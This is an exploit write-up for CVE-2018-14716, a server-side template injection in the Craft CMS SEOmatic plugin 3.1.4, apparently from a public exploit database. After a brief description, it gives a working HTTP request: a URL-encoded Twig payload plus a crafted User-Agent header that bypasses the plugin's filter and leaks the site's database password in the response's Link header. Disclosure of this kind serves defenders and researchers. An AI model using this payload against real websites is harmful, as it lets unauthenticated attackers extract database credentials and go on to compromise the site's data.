# Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection
# Date: 2018-07-20
# Software Link: https://github.com/nystudio107/craft-seomatic
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
# CVE: CVE-2018-14716
# Category: webapps
# 1. Description
# An unauthenticated user can trigger the Twig template engine by injecting
# code into the URI as described in this article:
# This can be leveraged to perform arbitrary calls against the template engine and the CMS.
# The output will be reflected within the Link header of the response.
# 2. Proof of Concept
# The injection can be performed against any part of the URL path. However as the framework is replacing
# control characters with HTML entities (e.g. ' ==> ') it is not possible to directly address methods with
# parameter values. Therefor it is required to bypass the filter by invoking functions such as craft.request.getUserAgent()
# and store the parameter values in the User-Agent header. In combination with Twig's slice() filter it is then possible
# to extract sensitive information by utilizing the craft.config.get() method:
HEAD /db-password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP/1.1
User-Agent: password db
HTTP/1.1 404 Not Found
Link: <db-password: SECRET>; rel='canonical'